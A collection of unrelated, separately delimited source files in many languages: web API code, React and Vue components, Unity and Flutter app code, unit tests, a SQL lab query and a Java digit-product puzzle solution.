public static notFound(message: string) {
throw new NotFoundException(message);
}
public static badRequest(message: string): BadRequestException {
throw new BadRequestException(message);
}
public static conflict(message: string): ConflictException {
throw new ConflictException(message);
}
public static unAuthorized(message: string): UnAuthorizedException {
throw new UnAuthorizedException(message);
}
public static unAuthenticated(message: string): UnAuthenticatedException {
throw new UnAuthenticatedException(message);
}
public static serverError(): ServerException {
throw new ServerException("");
}
}
|
#include <bits/stdc++.h>
using namespace std;
class Shape
{
private:
int area;
public:
Shape()
{
area = 0;
}
Shape(int a)
{
area = a;
}
// copy constructor
Shape(Shape& obj)
{
area = obj.area;
}
void draw()
{
cout << "I am a shape" << endl;
}
void show_area()
{
cout << area << endl;
}
protected:
int test = 3;
void modify_parent(int a)
{
test = a;
}
};
class Circle : public Shape
{
public:
int area;
Circle()
{
area = 0;
}
Circle(int a)
{
area = a;
}
void draw()
{
cout << "I am a Circle" <<endl;
}
void show_test()
{
modify_parent(9);
cout << "test: " << test << endl;
}
};
int add (int a, int b)
{
cout << a + b;
}
int add (int a, int b, int c)
{
cout << a + b + c;
}
int main()
{
// inheritance, abstraction, encapsulation, polymorphism
Circle circle_obj;
Shape shape_obj(4);
shape_obj.draw();
circle_obj.draw();
circle_obj.show_area();
Shape copy_obj = shape_obj;
copy_obj.show_area();
circle_obj.show_test();
}
|
import {
BaseEntity,
Column,
Entity,
PrimaryGeneratedColumn,
CreateDateColumn,
UpdateDateColumn,
Generated,
ManyToOne,
OneToMany,
} from "typeorm";
import { Pet } from "../Pet/Pet";
import { Post } from "../Post/Post";
@Entity("users")
export class User extends BaseEntity {
@PrimaryGeneratedColumn()
public id: number;
@Column()
@Generated("uuid")
public uuid: string;
// PROPERTIES
@Column({ type: "varchar", nullable: false })
public username: string;
@Column({ type: "varchar", nullable: false })
public email: string;
@Column({ type: "varchar", nullable: false })
public passwordHash: string;
@Column({ type: "varchar", nullable: false })
public passwordSalt: string;
@Column({ type: "varchar", nullable: false })
public name: string;
@Column({ type: "varchar", nullable: false })
public bio: string;
@Column({ type: "varchar", nullable: false })
public profilePictureUrl: string;
@OneToMany(() => Pet, (pet) => pet.owner)
pets: Pet[];
@OneToMany(() => Post, (post) => post.user)
posts: Post[];
@CreateDateColumn()
public createdAt: Date
@UpdateDateColumn()
public updatedAt: Date
}
|
package pl.com.britenet.hobbyapp.admin
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.Toast
import androidx.fragment.app.Fragment
import androidx.fragment.app.viewModels
import androidx.recyclerview.widget.LinearLayoutManager
import dagger.hilt.android.AndroidEntryPoint
import pl.com.britenet.hobbyapp.databinding.FragmentAdminsBinding
@AndroidEntryPoint
class AdminsFragment : Fragment() {
private val viewModel: AdminsFragmentViewModel by viewModels()
private lateinit var binding: FragmentAdminsBinding
private lateinit var rvAdapter: AdminListAdapter
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
binding = FragmentAdminsBinding.inflate(inflater, container, false)
rvAdapter = AdminListAdapter()
binding.adminListRv.layoutManager = LinearLayoutManager(context)
binding.adminListRv.adapter = rvAdapter
viewModel.exceptionToShow.observe(viewLifecycleOwner) { showException(it) }
viewModel.admins.observe(viewLifecycleOwner) { rvAdapter.updateAdminsList(it) }
return binding.root
}
private fun showException(message: String?) {
if (message != null) {
Toast.makeText(context, message, Toast.LENGTH_SHORT).show()
viewModel.onExceptionDisplayed()
}
}
}
|
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using DocumentFormat.OpenXml.Spreadsheet;
using ImportData;
using ImportData.Entities.Databooks;
namespace Tests
{
internal static class Common
{
/// <summary>
/// Получить строку выполнения утилиты.
/// </summary>
/// <param name="action">Действие.</param>
/// <param name="xlsxPath">Путь к xlsx файлу.</param>
/// <returns>Массив параметров.</returns>
public static string[] GetArgs(string action, string xlsxPath) => new[] { "-n", TestSettings.Login, "-p", TestSettings.Password, "-a", action, "-f", xlsxPath };
/// <summary>
/// Инициализация OData клиента.
/// </summary>
public static void InitODataClient() => Program.Main(GetArgs(Constants.Actions.InitForTests, Constants.Actions.InitForTests));
/// <summary>
/// Парсинг xlsx файла.
/// </summary>
/// <param name="xlsxPath">Путь к файлу.</param>
/// <param name="sheetName">Имя листа.</param>
/// <param name="logger">Логгер.</param>
/// <returns>Распарсенные строки.</returns>
public static IEnumerable<List<string>> XlsxParse(string xlsxPath, string sheetName)
{
var logger = TestSettings.Logger;
var excelProcessor = new ExcelProcessor(xlsxPath, sheetName, logger);
var items = excelProcessor.GetDataFromExcel();
return items.Skip(1);
}
/// <summary>
/// Преобразовать зачение в дату.
/// </summary>
/// <param name="value">Значение.</param>
/// <returns>Преобразованная дата.</returns>
/// <exception cref="FormatException" />
public static DateTimeOffset ParseDate(string? value)
{
var style = NumberStyles.Number | NumberStyles.AllowCurrencySymbol;
var culture = CultureInfo.CreateSpecificCulture("en-GB");
if (!string.IsNullOrEmpty(value))
{
DateTimeOffset date;
if (DateTimeOffset.TryParse(value.Trim(), culture.DateTimeFormat, DateTimeStyles.AssumeUniversal, out date))
return date;
var dateDouble = 0.0;
if (double.TryParse(value.Trim(), style, culture, out dateDouble))
return new DateTimeOffset(DateTime.FromOADate(dateDouble), TimeSpan.Zero);
throw new FormatException("Неверный формат строки.");
}
else
return DateTimeOffset.MinValue;
}
/// <summary>
/// Получить начало дня.
/// </summary>
/// <param name="dateTimeOffset">Дата-время.</param>
/// <returns>Начало дня.</returns>
public static DateTimeOffset BeginningOfDay(DateTimeOffset dateTimeOffset)
{
return new DateTimeOffset(dateTimeOffset.Year, dateTimeOffset.Month, dateTimeOffset.Day, 0, 0, 0, dateTimeOffset.Offset);
}
/// <summary>
/// Получить официальный документ.
/// </summary>
/// <param name="regNumber">Номер регистрации.</param>
/// <param name="regDate">Дата регистрации.</param>
/// <param name="docRegisterId">Журнал регистрации.</param>
/// <returns>Официальный документ.</returns>
public static T GetOfficialDocument<T>(string regNumber, string regDateStr, string docRegisterIdStr = "") where T : IOfficialDocuments
{
var exceptionList = new List<Structures.ExceptionsStruct>();
var regDate = BeginningOfDay(ParseDate(regDateStr));
var checkDocRegister = string.IsNullOrWhiteSpace(docRegisterIdStr);
if (!int.TryParse(docRegisterIdStr, out var docRegisterId))
docRegisterId = -1;
var document = BusinessLogic.GetEntityWithFilter<T>(x => x.RegistrationNumber != null &&
x.RegistrationNumber == regNumber &&
x.RegistrationDate == regDate &&
(checkDocRegister || x.DocumentRegister.Id == docRegisterId),
exceptionList, TestSettings.Logger, true);
return document;
}
/// <summary>
/// Сформировать имя документа.
/// </summary>
/// <param name="docKind">Вид документа.</param>
/// <param name="regNumber">Регистрационный номер.</param>
/// <param name="regDate">Дата регистрации.</param>
/// <param name="subject">Тема.</param>
/// <returns>Имя документа.</returns>
public static string GetDocumentName(string docKind, string regNumber, string regDate, string subject)
{
return $"{docKind} Номер {regNumber} от {regDate} \"{subject}\"";
}
#region Методы сравнения.
/// <summary>
/// Сравнить параметры и получить строку с ошибкой.
/// </summary>
/// <param name="actual">Актуальный (из системы).</param>
/// <param name="expected">Ожидаемый (из xlsx).</param>
/// <param name="paramName">Имя параметра.</param>
/// <returns>Строку с ошибкой, если параметры не равны.</returns>
public static string CheckParam(string? actual, string? expected, string paramName)
{
actual ??= string.Empty;
expected ??= string.Empty;
return actual == expected.Trim() ? string.Empty : $"ParamName: \"{paramName}\". Expected: \"{expected}\". Actual: \"{actual}\"";
}
/// <summary>
/// Сравнить параметры и получить строку с ошибкой.
/// </summary>
/// <param name="actual">Актуальный (из системы).</param>
/// <param name="expected">Ожидаемый (из xlsx).</param>
/// <param name="paramName">Имя параметра.</param>
/// <returns>Строку с ошибкой, если параметры не равны.</returns>
public static string CheckParam(DateTimeOffset? actual, string expected, string paramName) => CheckParam((actual ?? DateTimeOffset.MinValue).ToString(), ParseDate(expected.Trim()).ToString(), paramName);
/// <summary>
/// Сравнить параметры и получить строку с ошибкой.
/// </summary>
/// <param name="actual">Актуальный (из системы).</param>
/// <param name="expected">Ожидаемый (из xlsx).</param>
/// <param name="paramName">Имя параметра.</param>
/// <returns>Строку с ошибкой, если параметры не равны.</returns>
public static string CheckParam(int? actual, string expected, string paramName) => CheckParam(actual.ToString(), expected.Trim(), paramName);
/// <summary>
/// Сравнить параметры и получить строку с ошибкой.
/// </summary>
/// <param name="actual">Актуальный (из системы).</param>
/// <param name="expected">Ожидаемый (из xlsx).</param>
/// <param name="paramName">Имя параметра.</param>
/// <returns>Строку с ошибкой, если параметры не равны.</returns>
public static string CheckParam(double? actual, string expected, string paramName) => CheckParam(actual.ToString(), expected.Trim(), paramName);
/// <summary>
/// Сравнить параметры и получить строку с ошибкой.
/// </summary>
/// <param name="actual">Актуальный (из системы).</param>
/// <param name="expected">Ожидаемый (из xlsx).</param>
/// <param name="paramName">Имя параметра.</param>
/// <returns>Строку с ошибкой, если параметры не равны.</returns>
public static string CheckParam(IEntity? actual, string expected, string paramName) => CheckParam(actual == null || string.IsNullOrEmpty(actual.Name) ? string.Empty : actual.Name, expected.Trim(), paramName);
/// <summary>
/// Сравнить параметры и получить строку с ошибкой.
/// </summary>
/// <param name="actual">Актуальный (из системы).</param>
/// <param name="expected">Ожидаемый (из xlsx).</param>
/// <param name="paramName">Имя параметра.</param>
/// <returns>Строку с ошибкой, если параметры не равны.</returns>
public static string CheckParam(ILogins? actual, string expected, string paramName) => CheckParam(actual == null ? string.Empty : actual.LoginName, expected.Trim(), paramName);
/// <summary>
/// Сравнить параметры и получить строку с ошибкой.
/// </summary>
/// <param name="actual">Актуальный (из системы).</param>
/// <param name="expected">Ожидаемый (из xlsx).</param>
/// <param name="paramName">Имя параметра.</param>
/// <returns>Строку с ошибкой, если параметры не равны.</returns>
public static string CheckParam(IDocumentRegisters? actual, string expected, string paramName) => CheckParam(actual == null ? -1 : actual.Id, expected.Trim(), paramName);
/// <summary>
/// Сравнить параметры и получить строку с ошибкой.
/// </summary>
/// <param name="actual">Актуальный (из системы).</param>
/// <param name="expected">Ожидаемый (из xlsx).</param>
/// <param name="paramName">Имя параметра.</param>
/// <returns>Строку с ошибкой, если параметры не равны.</returns>
public static string CheckParam(IElectronicDocumentVersionss? actual, string expected, string paramName)
{
expected = expected.Trim();
if (actual == null && string.IsNullOrWhiteSpace(expected))
return string.Empty;
if (!File.Exists(expected))
return $"ParamName: {paramName}. Файл не найден: {expected}";
if (actual == null)
return $"ParamName: {paramName}. Версия не загрузилась";
return actual.Body.Value.SequenceEqual(File.ReadAllBytes(expected)) ? string.Empty : $"ParamName: {paramName}. Expected: {expected}. Бинарные данные различаются.";
}
#endregion
}
}
|
import { QplData } from './IQplData';
const express = require('express');
const app = module.exports = express();
const bodyParser = require('body-parser');
const rawJsonData = require("./qpl-data.json");
const port = 3080;
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
const error = (status, msg) => {
const err = new Error(msg);
(err as any).status = status;
return err;
};
// #region GET /api/v1/qpl?offset={offset}&pageSize={pageSize}
app.get('/api/v1/qpl', (req, res) => {
const offsetVal = parseInt(req.query.offset, 10);
const pageSizeVal = parseInt(req.query.pageSize, 10);
if (offsetVal == null && pageSizeVal == null) {
// Return the full list of data
res.json(rawJsonData);
return;
}
const strifigied = JSON.stringify(rawJsonData);
const tempQplData: QplData[] = JSON.parse(strifigied);
const tempData = [];
for (let i = offsetVal; i < offsetVal + pageSizeVal; i++) {
tempData.push(tempQplData[i]);
}
res.json(tempData);
});
// #endregion
app.get('/', (req, res) => {
res.send('Server works.')
});
// Middleware with an arity of 4 are considered
// error handling middleware. When you next(err)
// it will be passed through the defined middleware
// in order, but ONLY those with an arity of 4, ignoring
// regular middleware.
app.use((err, req, res, next) => {
res.status(err.status || 500);
res.send({ error: err.message });
});
// Custom JSON 404 middleware. Since it's placed last
// it will be the last middleware called, if all others
// invoke next() and do not respond.
app.use((req, res) => {
res.status(404);
res.send({ error: 'Improper request. No data found.' });
});
if (!module.parent) {
app.listen(port, () => {
console.log(`Server listening on port::${port}`);
});
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using TMPro;
public class PlayerInventory : MonoBehaviour
{
[Header("References")]
public Camera playerCam;
public Transform heldItemPosition;
public GameObject throwingBottle;
public GameObject heldBottle;
[Header("UI References")]
public TMP_Text itemHoverText;
public TMP_Text keysText;
public TMP_Text fadeText;
public GameObject escapedImage;
public GameObject deathImage;
[Header("Parameters")]
public float PickUpRange = 5;
public int keysNeeded;
[Header("Audio")]
public AudioSource audioSource;
public AudioClip keyPickUpSFX;
public AudioClip bottlePickUpSFX;
[Header("Keycodes")]
public KeyCode interactKey = KeyCode.E;
[Header("Layermask")]
public LayerMask whatIsInteractable;
[Header("Debug")]
public bool debug;
public bool hasBottle;
[SerializeField] private int keysOwned;
bool isTextFading = false;
// Start is called before the first frame update
void Start()
{
itemHoverText.gameObject.SetActive(false);
heldBottle.gameObject.SetActive(false);
escapedImage.gameObject.SetActive(false);
fadeText.alpha = 0f;
}
// Update is called once per frame
void Update()
{
if(Input.GetMouseButtonDown(0) && hasBottle)
{
heldBottle.gameObject.SetActive(false);
GameObject bottle = Instantiate(throwingBottle, heldItemPosition.position, playerCam.transform.rotation);
bottle.GetComponent<BreakableBottle>().ThrowBottle(playerCam.transform.forward, 12);
hasBottle = false;
}
if (Input.GetKeyDown(interactKey))
{
PickUpRaycast();
}
HoverRaycast();
}
private void HoverRaycast()
{
if(Physics.Raycast(playerCam.transform.position, playerCam.transform.forward, out RaycastHit hit, PickUpRange, whatIsInteractable))
{
if(hit.collider != null)
{
//IInteractable interactable = hit.collider.GetComponent<IInteractable>();
//if (interactable != null)
//{
// itemHoverText.gameObject.SetActive(true);
//}
//Debug.Log(hit.collider.name);
if (hit.collider.GetComponent<Key>())
{
itemHoverText.gameObject.SetActive(true);
itemHoverText.text = "<color=\"red\">E</color>: Pick Up";
}
if (hit.collider.GetComponent<BottleItem>())
{
itemHoverText.gameObject.SetActive(true);
itemHoverText.text = "<color=\"red\">E</color>: Pick Up";
}
if (hit.collider.GetComponent<EscapeDoor>())
{
itemHoverText.gameObject.SetActive(true);
itemHoverText.text = "<color=\"red\">E</color>: Open";
}
}
}
else
{
itemHoverText.gameObject.SetActive(false);
}
}
private void PickUpRaycast()
{
if (Physics.Raycast(playerCam.transform.position, playerCam.transform.forward, out RaycastHit hit, PickUpRange, whatIsInteractable))
{
if (hit.collider != null)
{
//IInteractable interactable = hit.collider.GetComponent<IInteractable>();
//if (interactable != null)
//{
// interactable.Interact();
//}
if (hit.collider.GetComponent<Key>())
{
keysOwned++;
if(keysOwned >= keysNeeded)
{
keysText.color = Color.red;
}
audioSource.PlayOneShot(keyPickUpSFX, 1);
keysText.text = "x " + keysOwned;
Destroy(hit.transform.gameObject);
}
if (hit.collider.GetComponent<BottleItem>())
{
if(!hasBottle)
{
audioSource.PlayOneShot(bottlePickUpSFX, 1);
hasBottle = true;
heldBottle.gameObject.SetActive(true);
Destroy(hit.transform.gameObject);
}
}
if (hit.collider.GetComponent<EscapeDoor>())
{
if(keysOwned < keysNeeded)
{
if(!isTextFading)
StartCoroutine(TextFade(fadeText, 2));
}
else if(keysOwned >= keysNeeded)
{
escapedImage.SetActive(true);
Time.timeScale = 0;
Cursor.lockState = CursorLockMode.None;
Cursor.visible = true;
}
}
}
}
}
public IEnumerator TextFade(TMP_Text image, float duration)
{
isTextFading = true;
float elapsedTime = 0;
float startValue = image.color.a;
while (elapsedTime < duration)
{
elapsedTime += Time.deltaTime;
float newAlpha = Mathf.Lerp(startValue, 1, elapsedTime / duration);
image.color = new Color(image.color.r, image.color.g, image.color.b, newAlpha);
yield return null;
}
yield return new WaitForSeconds(3.5f);
elapsedTime = 0;
startValue = image.color.a;
while (elapsedTime < duration)
{
elapsedTime += Time.deltaTime;
float newAlpha = Mathf.Lerp(startValue, 0, elapsedTime / duration);
image.color = new Color(image.color.r, image.color.g, image.color.b, newAlpha);
yield return null;
}
isTextFading = false;
}
private void OnCollisionEnter(Collision collision)
{
if (collision.transform.GetComponent<EnemyMovement>() || collision.transform.tag == "Enemy")
{
deathImage.SetActive(true);
Time.timeScale = 0;
Cursor.lockState = CursorLockMode.None;
Cursor.visible = true;
}
Debug.Log(collision.transform.name);
}
private void OnControllerColliderHit(ControllerColliderHit hit)
{
if (hit.transform.GetComponent<EnemyMovement>() || hit.transform.tag == "Enemy")
{
deathImage.SetActive(true);
Time.timeScale = 0;
Cursor.lockState = CursorLockMode.None;
Cursor.visible = true;
}
}
}
|
import chai from 'chai';
import { expect } from 'chai';
import chaiAsPromised from 'chai-as-promised';
chai.use(chaiAsPromised);
import sinon from 'sinon';
import sinonChai from 'sinon-chai';
chai.use(sinonChai);
import mongoose from 'mongoose';
import { Configuration, OpenAIApi } from 'openai';
import { validateInput, generateTweetsWithAPI, saveTweetsToDb, generateTweets } from '../../../../server/database/controllers/openAI.js';
import Tweet from '../../../../server/database/models/tweets.js';
const configuration = new Configuration({
apiKey: process.env.OPENAI_API_KEY,
});
const openai = new OpenAIApi(configuration);
describe('openAI Controller', () => {
let sandbox;
let request;
let response;
let sampleTweet;
let createCompletionStub;
let findStub;
let createStub;
let errorStub = new Error('Mock error');
beforeEach(() => {
sandbox = sinon.createSandbox();
request = {
body: {
model: 'text-davinci-003',
prompt: 'create tweets about react',
numberTweets: 3,
temperature: 1,
max_tokens: 500
}
};
response = {
send: sandbox.stub(),
status: sandbox.stub().returnsThis(),
json: sandbox.stub()
};
sampleTweet = {
_id: '63cb27597d5a02f88537ab84',
tweetId: 'false',
tweet: 'this is a test tweet',
created_date: new Date(2023, 7, 26, 12, 0, 0, 0),
tweet_date: ''
};
createCompletionStub = sandbox.stub(OpenAIApi.prototype, 'createCompletion').resolves({data: {choices: [{text: ' 1. This is a tweet\n2. This is another tweet\n3. One more tweet'}]}});
});
afterEach(() => {
sinon.restore();
sandbox.restore();
});
context('validateInput', () => {
it('should check for an error to eventually be thrown when the model type is missing', () => {
request.body.model = ''
return expect(validateInput(request)).to.be.eventually.rejectedWith('Missing required input parameter');
});
it('should check for an error to eventually be thrown when the prompt is missing', () => {
request.body.prompt = '';
return expect(validateInput(request)).to.be.eventually.rejectedWith('Missing required input parameter');
});
it('should check for an error to eventually be throw when the number of tweets are missing', () => {
request.body.numberTweets = '';
return expect(validateInput(request)).to.be.eventually.rejectedWith('Missing required input parameter');
});
it('should check for an error to eventually be throw when the temperature is missing', () => {
request.body.temperature = '';
return expect(validateInput(request)).to.be.eventually.rejectedWith('Missing required input parameter');
});
it('should check for an error to eventually be throw when the max tokens are missing', () => {
request.body.max_tokens = '';
return expect(validateInput(request)).to.be.eventually.rejectedWith('Missing required input parameter');
});
it('should resolve eventually when all the required input parameters are present', () => {
return expect(validateInput(request)).to.be.fulfilled;
});
});
context('generateTweetsWithAPI', () => {
it('should return error when there is an issue with createCompletion', () => {
createCompletionStub.rejects(errorStub);
return expect(generateTweetsWithAPI(request)).to.be.eventually.rejectedWith('An error occurred while generating tweets with openAI API');
});
it('should return generated tweets correctly split into an array for each tweet when multiple tweets generated', async () => {
let results = await generateTweetsWithAPI(request);
expect(results).to.deep.equal(['1. This is a tweet', '2. This is another tweet', '3. One more tweet']);
expect(createCompletionStub).to.have.been.calledOnceWith({
model: 'text-davinci-003',
prompt:'\n Generate 3 tweets using this prompt: create tweets about react,\n Responses should always be numbered followed by a period and a single space followed by the tweet.\n Responses should always be numbered followed by a period and a single space followed by the tweet.\n ',
temperature: 1,
max_tokens: 500
});
});
it('should return generated tweet correctly split into array when there is only a single tweet generated', async () => {
request.body.numberTweets = 1;
createCompletionStub.resolves({data: {choices: [{text: ' 1. This is the only tweet'}]}});
let results = await generateTweetsWithAPI(request);
expect(results).to.deep.equal(['1. This is the only tweet']);
expect(createCompletionStub).to.have.been.calledOnceWith({
model: 'text-davinci-003',
prompt:'\n Generate 1 tweets using this prompt: create tweets about react,\n Responses should always be numbered followed by a period and a single space followed by the tweet.\n Responses should always be numbered followed by a period and a single space followed by the tweet.\n ',
temperature: 1,
max_tokens: 500
});
});
it('should return an array with an empty string if no tweets are generated', async () => {
request.body.numberTweets = 0;
createCompletionStub.resolves({data: {choices: [{text: ''}]}});
let results = await generateTweetsWithAPI(request);
expect(results).to.deep.equal([''])
expect(createCompletionStub).to.have.been.calledOnceWith({
model: 'text-davinci-003',
prompt:'\n Generate 0 tweets using this prompt: create tweets about react,\n Responses should always be numbered followed by a period and a single space followed by the tweet.\n Responses should always be numbered followed by a period and a single space followed by the tweet.\n ',
temperature: 1,
max_tokens: 500
});
});
})
});
|
-- ------------------------------------------------------------------
-- Program Name: apply_lab4_step9.sql
-- Lab Assignment: N/A
-- Program Author: Michael McLaughlin
-- Creation Date: 27-Aug-2020
-- ------------------------------------------------------------------
-- Change Log:
-- ------------------------------------------------------------------
-- Change Date Change Reason
-- ------------- ---------------------------------------------------
--
-- ------------------------------------------------------------------
--
-- ------------------------------------------------------------------
-- Instructions:
-- ------------------------------------------------------------------
-- You first connect to the Postgres database with this syntax:
--
-- psql -U student -d videodb -W
--
-- Then, you call this script with the following syntax:
--
-- psql> \i apply_lab4_step9.sql
--
-- ------------------------------------------------------------------
-- ------------------------------------------------------------------
-- Enter the query below.
-- ------------------------------------------------------------------
SELECT c.last_name
, m.account_number
, sa.street_address || E'\n'
|| a.city || ', ' || a.state_province || ' ' || a.postal_code AS address
, '(' || t.area_code || ') ' || telephone_number telephone
FROM member m JOIN contact c
ON m.member_id = c.member_id
JOIN address a
ON c.contact_id = a.contact_id
JOIN street_address sa
ON a.address_id = sa.address_id
JOIN telephone t
ON c.contact_id = t.contact_id
LEFT JOIN rental r
ON c.contact_id = r.customer_id
WHERE r.customer_id IS NULL;
|
import React from "react";
import "./card.css";
interface CardProps {
/**
* How large should the card be?
*/
size?: "small" | "medium" | "large";
/**
* Should it be bordered?
*/
bordered?: boolean;
}
/**
* Primary UI component for user interaction
*/
export const Card = ({
size = "medium",
bordered = false,
...props
}: CardProps) => {
// const mode = `storybook-card--${type}`;
return (
<div
className={[
"storybook-card",
`storybook-card--${size}`,
bordered ? "storybook-card--bordered" : "",
].join(" ")}
{...props}
>
Hola
</div>
);
};
|
//Bruteforce Approach
import java.util.*;
public class Test
{
public static void main(String[] args) {
Scanner sc=new Scanner(System.in);
System.out.println("Enter 'n':");
int n=sc.nextInt();
int res=findSmallest(n);
if(res==-1)
System.out.println("Not Possible");
else
System.out.println("Smallest Number Whose Digits Multiply To "+n+" is "+res);
}
public static int findSmallest(int n)
{
if(n<10)
return n+10;
for(int s=1;s<Integer.MAX_VALUE;s++)
if(prodDigits(s)==n)
return s;
return -1;
}
public static int prodDigits(int num)
{
int prod=1;
while(num!=0)
{
prod*=(num%10);
num=num/10;
}
return prod;
}
}
//Optimal Approach
import java.util.*;
public class Test
{
public static void main(String[] args) {
Scanner sc=new Scanner(System.in);
System.out.println("Enter 'n':");
int n=sc.nextInt();
int res=findSmallest(n);
if(res==-1)
System.out.println("Not Possible");
else
System.out.println("Smallest Number Whose Digits Multiply To "+n+" is "+res);
}
public static int findSmallest(int n)
{
if(n<10)
return n+10;
int res=0;
for(int i=9; i>=2; i--)
while((n%i)==0)
{
res=(res*10)+i;
n=n/i;
}
if(n==1)
return reverse(res);
else
return -1;
}
public static int reverse(int num)
{
int rev=0,last;
while(num!=0)
{
last=(num%10);
rev=rev*10+last;
num=num/10;
}
return rev;
}
}
/* WORKING PRINCIPLE/Intuition
The smallest value of ‘M’ must satisfy the following two conditions:
1 :The number of digits in ‘M’ must be minimum. To achieve this, assign the maximum possible number of 9’s to ‘M’
(keep dividing ‘N’ by ‘9’ until it is no longer divisible). After that, do the same for 8’s and so on until ‘2’.
This way, we assign the largest digit first, keeping the number of digits in ‘M’ to a minimum.
(Ex- n=80 Numbers with Product of Digits as 80 are : 258(2*5*8=80) also 852(8*5*2=80) also 52222(5*2*2*2*2),However the Minimum is 258)
2 : Once the above condition is satisfied, the digits of ‘M’ must be in non-decreasing order for ‘M’ to be the smallest.
We can do this by assigning the digits obtained above from right to left. Keep all the 9’s are at the rightmost, all the 8’s to their left, and so on.
This way, the smallest digit becomes the most significant digit.
Example: ‘N’ = 64800
Initially ‘M = 0’, start to assign digits to ‘M’ from ‘9’ to ‘2’:
Assign ‘9’ to ‘M’ until ‘N’ is divisible by ‘9’:
‘M = 9’, update ‘N’,‘N = N/9 = 64800/9 = 7200’.
‘M = 99’, ‘N = 7200/9 = 800’.
Assign ‘8’ to ‘M’ until ‘N’ is divisible by ‘8’:
‘M = 899’,‘N = N/8 = 800/8 = 100’.
‘N = 100’ is not divisible by ‘7’, so move to the next digit.
‘N = 100’ is not divisible by ‘6’, so move to the next digit.
Assign ‘5’ to ‘M’ until ‘N’ is divisible by ‘5’:
‘M = 5899’,‘N = N/5 = 100/5 = 20’.
‘M = 55899’, ‘N = 20/5 = 4’.
Assign ‘4’ to ‘M’ until ‘N’ is divisible by ‘4’:
‘M = 455899’,‘N = N/4 = 4/4 = 1’.
‘N = 1’ is not divisible by ‘3’, so move to the next digit.
‘N = 1’ is not divisible by ‘2’.
After assigning the digits, we have ‘N = 1’, which means ‘N’ is equal to the multiplication of the digits in ‘M’. Thus, you should return ‘M = 455899’ as the answer.
*/
|
import _debounce from "lodash.debounce";
import { useEffect, useRef } from "react";
export const useReachedBottom = <T extends HTMLElement>(cb?: () => void, options: Partial<{ offset: number, throttle: number }> = {}) => {
const { offset = window.innerHeight * 2, throttle = 600 } = options
const ref = useRef<T>(null);
const callbackHandler = useRef<Function>();
useEffect(() => {
if (!cb)
callbackHandler.current = undefined;
else {
callbackHandler.current = _debounce(cb, throttle)
}
}, [cb, throttle])
useEffect(() => {
const listener = () => {
if (!ref.current) return;
const curWindowPosition = window.scrollY + window.innerHeight;
const elTriggerPosition = ref.current.offsetTop + ref.current.scrollHeight - offset;
if (curWindowPosition > elTriggerPosition) callbackHandler.current?.();
}
document.addEventListener('scroll', listener)
return () => {
document.removeEventListener('scroll', listener)
}
}, [offset, throttle])
return { ref }
}
|
"use client";
import { useMutation } from "@tanstack/react-query";
import Link from "next/link";
import { useRouter } from "next/navigation";
import { SubmitHandler, useForm } from "react-hook-form";
import { useShallow } from "zustand/react/shallow";
import { login } from "@/app/auth/actions";
import { useModalStore } from "@/stores";
import { RHFCustomInput } from "../Inputs";
import { CustomButton } from "../Ui";
import LoginHeader from "./LoginHeader";
const LoginForm = () => {
const router = useRouter();
const { openModal, closeModal } = useModalStore(
useShallow((state) => ({
openModal: state.openModal,
closeModal: state.closeModal,
}))
);
const { control, handleSubmit } = useForm<SigninParams>({
defaultValues: { email: "", password: "" },
});
const { mutate, isPending, error } = useMutation({
mutationKey: ["login"],
mutationFn: login,
});
const onSubmit: SubmitHandler<SigninParams> = async (data) => {
mutate(data);
};
if (error) {
openModal({
title: error.message,
description: "¡Registrate para disfrutar de nuestros beneficios!",
onConfirm: () => router.push("/auth/register"),
onCancel: closeModal,
});
}
return (
<div className="h-full flex items-center justify-center w-full">
<form
className="flex flex-col items-center gap-8 w-full"
onSubmit={handleSubmit(onSubmit)}
>
<LoginHeader title="Iniciar sesión" />
<div className="flex flex-col w-full gap-4">
<RHFCustomInput
placeholder="Ingrese su corrreo electrónico"
name="email"
type="text"
id="emailLogin"
control={control}
label="Correo eletrónico"
/>
<RHFCustomInput
placeholder="Ingrese su contraseña"
name="password"
id="passwordLogin"
type="password"
control={control}
label="Contraseña"
/>
</div>
<div className="flex justify-between text-[14px] w-full">
<button className="underline ">Olvidé mi contraseña</button>
</div>
<CustomButton
btnType="submit"
btnTitle="Iniciar sesíon"
size="xLarge"
loading={isPending}
/>
<div className="flex gap-2 text-[14px]">
<p className="text-p-2">¿No tienes una cuenta?</p>
<Link className="underline" type="button" href="/auth/register">
Regístrate
</Link>
</div>
</form>
</div>
);
};
export default LoginForm;
|
import 'dart:async';
import 'package:firebase_core/firebase_core.dart';
import 'package:flutter/material.dart';
import 'package:get/get.dart';
import 'package:posttest7_1915016020_annisaadhiasalsabila/ss.dart';
Future<void> main() async {
WidgetsFlutterBinding.ensureInitialized();
await Firebase.initializeApp();
runApp(const MyApp());
}
class MyApp extends StatelessWidget {
const MyApp({Key? key}) : super(key: key);
@override
Widget build(BuildContext context) {
return GetMaterialApp(
home: SplashScreen(),
);
}
}
class SplashScreen extends StatelessWidget {
const SplashScreen({super.key});
@override
Widget build(BuildContext context) {
var NWidth = MediaQuery.of(context).size.width;
var NHeight = MediaQuery.of(context).size.height;
final SSController ssc = Get.put(SSController());
return Scaffold(
// backgroundColor: Color.fromARGB(255, 161, 50, 59),
body: Center(
child: Container(
alignment: Alignment.center,
width: NWidth,
height: NHeight,
decoration: BoxDecoration(
gradient: LinearGradient(
begin: Alignment.topRight,
end: Alignment.bottomLeft,
colors: <Color>[
Color.fromARGB(255, 213, 99, 109),
Color.fromARGB(255, 87, 2, 2),
]),
),
child: Image.asset(width: 400, height: 400, "assets/logo.png"),
),
),
);
}
}
|
<template>
<div class="container container--sm">
<div class="py-10">
<div class="pt-12 pb-6">
<div class="text-center text-white pb-8">
<p>
{{ $t('invitation.text', { company }) }}
</p>
<p>{{ $t('invitation.hint') }}</p>
</div>
<div class="flex items-center justify-center">
<Button
:loading="acceptLoading || declineLoading"
outlined
class="mx-1"
@click="declineInvitation"
>
{{ $t('invitation.decline') }}
</Button>
<Button
:loading="acceptLoading || declineLoading"
class="mx-1"
@click="acceptInvitation"
>
{{ $t('invitation.accept') }}
</Button>
</div>
</div>
</div>
</div>
</template>
<script>
import { CHECK_INVITATION } from '../graphql/queries'
